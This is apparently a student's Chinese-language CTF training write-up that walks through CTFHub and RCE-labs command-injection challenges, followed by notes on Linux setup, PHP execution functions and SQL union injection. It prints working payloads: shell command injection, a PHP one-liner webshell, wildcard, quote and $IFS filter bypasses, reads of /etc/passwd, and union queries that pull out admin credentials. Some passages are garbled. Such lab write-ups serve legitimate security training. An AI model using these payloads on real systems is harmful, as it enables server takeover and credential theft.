2025 Win RCE
一、Ctfhub-RCE模块—-命令注入

打开环境后发现这个页面,按照上课讲的,肯定是先访问自己
接着出现了数组

之后列出目录内容,看一下文件有哪些
1 | ?ip=127.0.0.1;ls |

查看这个2760816330439.php文件
1 | ?ip=127.0.0.1;ls;cat 2760816330439.php |

再查看页面源代码就可以了得到flag了:ctfhub{4ce5f47f3595fceda2ebb063}

又忍耐不住自己的好奇心,查看了index文件,感觉这个好像是这个页面的文件。

二、RCE-labs[0-8]题
(一)[RCE-labs]Level 0 - 代码执行&命令执行
打开靶场后发现以下内容:

这个应该是一个学习的靶场,毕竟flag直接给出了
分析一下代码:
1 |
php代码开始标志
1 | include ("get_flag.php"); |
include文件包含,把get_flag.php文件包含进来
1 | $code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;"; |
声明两个变量并把两个字符串分别写进code变量和bash变量中
1 | eval($code); |
把code变量里的内容作为代码执行,即执行以下代码,把flag.php包含进来并且输出,其中 ./ 代表在当前目录中访问flag.php文件
1 | include('flag.php'); |
1 | echo "<br>"; |
换行,
是换行符
1 | bash) |
system是执行外部程序并且显示输出,所以执行以下命令,输出flag
1 | echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag |
其中cat 是Linux命令含义是查看文件内容,cat /flag 即查看flag
(二) [RCE-labs]Level 1 - 一句话木马和代码执行
打开靶场发现以下内容,这主要还是来学习的

分析代码:
1 |
php代码开头
1 | include ("get_flag.php"); |
把get_flag,php包含进来
1 | eval($_POST['a']); |
把POST传参的字符串当作代码执行
1 | highlight_file(__FILE__); |
对指定的PHP 文件进行语法高亮显示
1 |
PHP代码结束标志
所以用POST传参就可以得到flag
1 | a=echo $flag; |

在课程中学长也介绍了第二种解体方法,就是用中国蚁剑
打开中国蚁剑,看看文件

就直接在根目录找到了flag

打开后得到flag

但是又发现了这个文件,hhh不建议直接在根目录拿flag

(三)[RCE-labs]Level 2 - PHP代码执行函数
打开靶场发现以下内容,是很长的PHP代码

简单分析代码:
1 |
|
把get_flag.php包含进来,并声明了flag为超级全局变量,说明变量flag在一个脚本的全部作用域中都可用并开启session
session_start();是PHP中的一个函数,用于启动一个会话。当一个用户访问网站时,会话(Session)是用来存储用户特定数据的一种机制,这些数据可以被多个页面共享。通过启动会话,PHP能够识别用户,并在用户的多次请求之间保存数据。
1 | function hello_ctf($function, $content){ |
定义了一个函数叫hello_ctf,其中两个变量是function, content。之后把变量function和”(“ . $content . “);”链接起来赋值给code,之后输出Your Code: $code 并换行,最后将code里的字符串作为代码输出
1 | function get_fun(){ |
这段代码定义了一个函数get_fun,func_list是一个包含多个PHP内置函数的数组。
之后如果代码$_SESSION不存在,则通过array_rand随机选择func_list里的函数。
再然后把$_SESSION赋值给random_func。然后把所选函数名的下划线变为短横线。
之后输出一个消息,告诉所选的函数名并提供一个PHP官方的手册链接。
最后返回在 $_SESSION里的函数名
1 | function start($act){ |
这个函数定义了start函数。
把get_fun()的返回值赋值给$random_fun。
如果形参act的值是r,则执行 session_unset();session_destroy(); 两个函数。
_ session_unset()为释放当前在内存中已经创建的所有$SESSION变量,但不删除session文件以及不释放对应的sessionidsession_destroy()
_session_destroy()为删除当前用户对应的session文件以及释放sessionid,内存中的$SESSION变量内容依然保留
如果act的值是submit则把content POST传参的值赋值给 $user_content,之后执行hello_ctf函数
1 | isset($_GET['action']) ? start($_GET['action']) : ''; |
检查action是否为随机值,如果是则没有回显,如果有则执行start函数
所以这道题需要先把action,GET传参,值是submit,来调用hello_ctf函数来输出$flag。想要输出flag的话,就需要利用content POST传参来传入输出flag的函数即eval函数或者其他相关函数。
所以GET,POST传参如下
1 | ?action=submit |
得到flag

注意到题上还说”PHP还有许多回调函数也可以直接或者间接的执行PHP代码。“
查了资料,assert就可以,但它无法执行关于echo的代码,起初以为是echo是语言构造器的原因,但是用了同为语言构造器的print,发现却能用
所以,最后GET,POST也可传参如下
1 | ?action=submit |
得到flag

(四)[RCE-labs]Level 3 - 命令执行
打开靶场发现以下内容

由于system()函数会通过sh软件连接执行输入的系统命令,所以只需要POST传入访问flag命令就行
1 | a=cat /flag; |

(五)[RCE-labs]Level 4 - SHELL 运算符
进入靶机发现以下题目

PHP代码如下:
1 |
|
分析代码:
首先定义了一个函数 hello_server,其中形参是$ip,执行system函数,函数的内容是ping -c 1 ,指的是向目标 IP 发送 一个ICMP 请求,并等待其响应 。函数结束
之后判断GET传参的ip是否为随机值,如果不是随机值的话执行函数hello_server,如果是随机值的话,则不再执行其他操作。
所以需要传入127.0.0.1来指向自己并且在后面加入输出flag的命令,即
1 | ?ip=127.0.0.1;cat /flag; |

(六)[RCE-labs]Level 5 - 黑名单式过滤
打开靶场发现以下内容

1 |
|
preg_match()函数是匹配函数,如果找到一个匹配,则返回值为1,否则为0
这段PHP代码先是定义了一个hello_shell函数,形参是cmd。
之后判断cmd变量与flag是否匹配,如果,则输出WAF!,否则执行system函数。函数结束
然后判断GET传参的cmd是否为随机值,如果是,则执行hello_shell函数,否则什么也不执行
所以要把cat /flag修饰以下,而又用*绕过,即fl*、用’绕过,即f’’lag或f’l’ag绕过,这都可以,因此构造playload,得到flag
1 | ?cmd=cat /fl''ag |

(七)[RCE-labs]Level 6 - 通配符匹配绕过
打开靶场发现以下内容,是PHP代码

这是上一题的加强版,代码如下
1 |
|
这题与上一题的不同在于多了几个符号[b-zA-Z_@#%^&*:{}-+<>"|`;[]]
匹配范围为:
所有字母(除了小写字母 a)
特殊字符 _ @ # % ^ & * : { } - + < > “ | ; [ ]`
由于?代表的是匹配一个字符
所以构造palyload:
1 | ?cmd=/???/?a??64 /??a? |
代表
1 | ?cmd=/cat/base64 /flag |
得到

再base64解码的得flag

(八)[RCE-labs]Level 7 - 空格过滤
打开靶场发现以下内容,是PHP代码

1 |
|
这次又变成了绕过空格
题目上给的提示有$IFS可以代表空格
所以构造playload
1 | ?cmd=cat$IFS/fl''ag |

(九)[RCE-labs]Level 8 - 文件描述和重定向

看了提示:/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到,并且/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉
PHP代码如下:
1 |
|
查阅资料,写这种题可以尝试将cat /flag的输出重定向到一个临时文件中,然后再通过其他命令读取这个临时文件的内容
创建临时文件:
1 | cat /flag > /tmp/temp_flag |
读取临时文件内容:
1 | cat /tmp/temp_flag |
将这两个命令组合起来,可以构造如下命令:
1 | cat /flag > /tmp/temp_flag; cat /tmp/temp_flag; |
所以构造payload:
1 | ?cmd=cat /flag > /tmp/temp_flag; cat /tmp/temp_flag; |
得到flag

三、Linux环境搭建
由于之前在开课前做准备工作的时候已经搭建好了一个Linux环境,没截图,所以就大概说一下吧
- 下载并安装VMware
在HnuSec2025冬季培训❄️群里有安装包

官网下载:
https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion
之后打开安装包设置好路径添加path就行
- 安装映像
打开VMware后,需要选择一个虚拟机的光盘映像文件,我这里选择的是ubuntu的,可以去ubuntu下载:官网跳转链接
下载好之后就是这个文件

- 新建虚拟机
基本上都是选择默认,如果有其他需求可以适当改一下
ecTraining/2025 Win RCE/1737132792199-8c164909-8abd-4e22-bb70-e586a6d2994e.png)ecTraining/2025 Win RCE/1737132834700-2bb2eb3e-70fd-45c6-b49b-ff0b596db713.png)ecTraining/2025 Win RCE/1737132866152-4001408d-7a3e-4a53-98e3-7844c49a55ec.png)ecTraining/2025 Win RCE/1737132874793-a5768df2-e1f5-4a16-aceb-434918db89af.png)列出当前目录的文件和文件夹。
ls -l :以详细列表形式显示。
ls -a :显示所有文件,包括隐藏文件。
cd :切换目录
cd 目录名 :进⼊指定目录。
cd .. :返回上⼀级目录。
cd ~ :回到用户的主目录。
pwd :显⽰当前所在目录
mkdir :创建目录
mkdir 目录名 :创建⼀个新的⽬录。
rmdir :删除空目录
rmdir 目录名 :删除⼀个空的目录。
rm :删除文件或目录
rm ⽂件名 :删除⽂件。
rm -r 目录名 :递归删除目录及其内容(谨慎使⽤)。
cp :复制文件或目录
cp 源文件 目标文件 :复制文件。
cp -r 源目录 目标目录 :复制目录目录。
mv :移动或重命名文件或目录
mv 源文件 目标文件 :重命名文件。
mv 源文 目标目录 :移动文件到目标目录。
cat :查看文件内容。
简单操作了以下
tyle=”color:#000000;”>函数的语法:
1 | eval ( string $code ) : mixed |
$code :要执行的 PHP 代码字符串。
eval() 函数的作用:
eval() 函数会将 $code 字符串中的内容解析为 PHP 代码,并执⾏它。执⾏的代码会继承
eval() 函数所在行的变量作用域。也就是说,在 eval() 中可以访问和修改 eval() 函数外部的变量。
2.system()
system — 执行外部程序,并且显示输出
3.pcntl_exec()
pcntl_exec() 是 PHP 的⼀个函数,用于在 当前进程空间执行指定的程序。它属于 PHP 的 Process Control 扩展(pcntl),主要用于处理 Unix/Linux 系统中的进程管理。与之前提到的system() 、 exec() 、 shell_exec() 等函数不同, pcntl_exec() 不会创建新的子进程,而是替换当前进程。这意味着调用pcntl_exec() 之后,原来的 PHP 脚本将停止执行,取而代之的是执行指定的程序。
函数原型:
$path : 要执行的程序的路径。可以是绝对路径或相对路径。
$args : (可选)传递给程序的参数数组。
$envs : (可选)传递给程序的环境变量数组。
4.exec()
基本语法:
1 | string exec ( string $command , array &$output = null , int &$return_var = null |
$command : 要执行的命令,可以是任何有效的系统命令。
$output : 可选参数,用于存储命令执行的输出结果。每⾏输出将作为数组的⼀个元素。
$return_var : 可选参数,用于存储命令执行后的返回状态码。通常,状态码 0 表⽰命令成功执
行。
5.var_dump
var_dump() 是 PHP 中⼀个非常有用的内置函数,主要用于输出变量的详细信息,包括变量的类型和值。它在调试代码和分析变量状态时非常有用。
var_dump() 的作用:
显示变量的类型: 例如, int (整型)、 string (字符串)、 bool (布尔型)、 array (数组)、 object (对象)等。
显示变量的值: 输出变量的具体内容。
递归展开数组和对象: 对于数组和对象, var_dump() 会递归地显示其内部的元素和属性,并使用缩进清晰地展示其结构。显示字符串的长度: 如果变量是字符串,还会显示字符串的长度
6.session_start();是PHP中的一个函数,用于启动一个会话。当一个用户访问网站时,会话(Session)是用来存储用户特定数据的一种机制,这些数据可以被多个页面共享。通过启动会话,PHP能够识别用户,并在用户的多次请求之间保存数据。
7. PhpStorm环境配置完成

附上之前PHP学习笔记链接:PHP学习及练习
五、学习笔记汇总
[任意代码执行行(Arbitrary Code Execution,ACE)]是指政击者在目标计算机或目标进行中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层领的脚本或程序,也包括应用程序内部的函数或方法调用,在此基础上我们将通过网络触发任意代码执行的能力通常称为远程代码执行 [远程程代码执行(AFE.RranteCodeExecut1oe,RCE)]
[命令执行(Conennd Execution)] 通常指的是在操作系统层面上执行预定义的指令或脚本,这些命令最终的组向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或方法调用,如PHP中的shell_exec()函数。
代码执行(CodeExecution)」在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的eval()函数或Python中的exec()函数。当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞——这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如eval(“system(‘cat /etc/passward’)”;);也被归为代码执行漏洞。我们平时最常见的一句话木马就用的eval()函数,(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)
一句话木马是⼀种简短的恶意代码,通常⽤于在⽬标服务器上创建⼀个后门,以便攻击者远程控制该
服务器或执行其他恶意操作。它主要出现在 Web 安全领域,特别是涉及 PHP、ASP、JSP 等动态语⾔
的 Web 应用程序中。
除开在一句话木马中最受欢迎用以直接执行php代码的 eval() 函数,php还有许多回调函数也可以直接或者间接的执行php代码。查了资料,assert就可以,但它无法执行关于echo的代码,但却能用print
shell 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符) 只有当第 1个命令 cmd_1执行成功 (返回值为 0)时,才会执行第2个命令 cmd_2 。例: mkdir test && cd test
(逻辑或运算符) 只有当第一个命令 cmd_1 执行失败 (返回值不为 0)时,才会执行第二个命令 cmd_2 。例: cd nonexistent_directory || echo “directory not found“
(后台运行符) 将命令 cmd_1 放到后台执行,shell 立即执行,cmd_2,两个命令并行执行。例: sleep 10 & echo “this will run immediately”
;(命令分隔符) 无论前 一个命令 cmd_1是否成功, 都会执行下个命令
在shell中,单/双引号 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo “$”a 会输出 $a, 而 echo $a 会输出变量a的值,当只有”则表示空字符串,shell会忽略它。
*(星号) 匹配零个或多个字符。例子: *.txt.
?(问号) 匹配单个字符。例子: file?.txt.
[](方括号) 匹配方括号内的任意一个字符。例子: file[l-3].txt.
{}(大括号):匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt.
通过组合上述技巧,我们可以用于绕过ctf中一些简单的过滤:
1 | system ("c''at /e't'c/pass?d"); |
1 | system( sem("/???/?at /e't'c/pass?d"); |
1 | system (*/???/?at /e't'c/*ss*'); |
在遇到空格被过滤的情况下,通常使用%09也就是TAB的URL编码来绕过,在终端环境下空格被视为一个命令分隔符,本质上由$IFS变量控制,而$IFS的默认值是空格、制表符和换行符,所以我们还可以通过直接键入$IFS来绕过空格过滤。
大多数UNIX系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端——这些是命令有回显的基础。如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到/dev/null;
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是/dev/null文件非常有用,将命令的输出重定向到它,会起到“禁止输出”的效果如果希望屏蔽stdout和stderr,可以这样写:
1 | $ command > /dev/null 2>&1 |
如果想要绕过此限制,那么就想方设法的将cat /flag的输出重定向到一个临时文件中,然后再通过其他命令读取这个临时文件的内容,以达到读取flag的效果
SQL注入语句:
SQL注入大致分为联合注入、布尔盲注、延时盲注和报错注入这次主要是联合注入笔记
万能密码:1
基本注入语句:
1 | select * from users where username = 'admin' OR '1'='1' and password = 'anything'; |
联合注入:
1 | select * from person where id = 1 union select 1,2,database(),4,5 |
注意,两者字段数必须相等,判断字段数时,可以使用order by num,一次增大num,直到出现错误就结束来判断字段数是num-1
1 | select * from person where id = 1 union select 1,2,(select table_name from infomation_schema.tables where table_schema=database() limit 0,1),4,5 |
可以使用limit对查询的对象限定,注意限定列表是从0开始
1 | select * from person where id = 1 union select 1,2,(select group_concat(table_name) from infomation_schema.tables where table_schema=database() limit 0,1),4,5 |
使用group_concat联合表名也可以
如果是查询具体数据:
1 | select * from person where id = 1 union select 1,concat(usernamme,0x5c,passward),3,4,5 from admin; |
或加上限定limit
1 | select * from person where id = 1 union select 1,concat(usernamme,0x5c,passward),3,4,5 from admin limit 0,2; |
最后,这是一个神奇的链接,能让我们度过一个快!乐!充!实!的寒假:
https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default





